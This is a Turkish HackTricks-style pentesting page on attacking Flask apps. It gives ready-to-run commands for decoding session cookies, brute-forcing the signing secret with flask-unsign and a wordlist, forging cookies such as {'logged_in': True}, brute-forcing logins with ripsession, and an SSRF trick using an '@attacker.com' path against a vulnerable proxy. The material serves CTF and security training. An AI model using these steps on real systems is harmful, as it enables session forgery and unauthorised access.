2.7 KiB
Raw Blame History

Flask

{{#include ../../banners/hacktricks-training.md}}

Muhtemelen bir CTF oynuyorsanız, bir Flask uygulaması SSTI** ile ilgili olacaktır.**

Cookies

Varsayılan çerez oturum adı session.

Decoder

Çevrimiçi Flask çerezleri çözücü: https://www.kirsle.net/wizards/flask-session.cgi

Manual

Çerezin ilk kısmını ilk noktaya kadar alın ve Base64 ile çözün.

echo "ImhlbGxvIg" | base64 -d

Çerez ayrıca bir şifre kullanılarak imzalanmıştır.

Flask-Unsign

Bir Flask uygulamasının oturum çerezlerini gizli anahtarları tahmin ederek almak, çözmek, kaba kuvvetle denemek ve oluşturmak için kullanılan komut satırı aracı.

{{#ref}} https://pypi.org/project/flask-unsign/ {{#endref}}

pip3 install flask-unsign

Çerezleri Çöz

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

İmza

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Eski sürümleri kullanarak imzalama

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Flask-unsign ile oluşturulmuş çerezleri kullanarak web sitelerini brute-force yapmak için komut satırı aracı.

{{#ref}} https://github.com/Tagvi/ripsession {{#endref}}

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Flask oturum çerezinde SQLi ve SQLmap

Bu örnek, bilinen bir gizli anahtar kullanarak Flask için sqlmap yüklerini otomatik olarak imzalamak üzere sqlmap eval seçeneğini kullanır.

Flask Proxy ile SSRF

Bu yazıda, Flask'ın "@" karakteri ile başlayan bir isteğe nasıl izin verdiği açıklanmaktadır:

GET @/ HTTP/1.1
Host: target.com
Connection: close

Aşağıdaki senaryoda:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Şeytanın bir SSRF oluşturmasına neden olmak için "@attacker.com" gibi bir şeyin tanıtılmasına izin verebilir.

{{#include ../../banners/hacktricks-training.md}}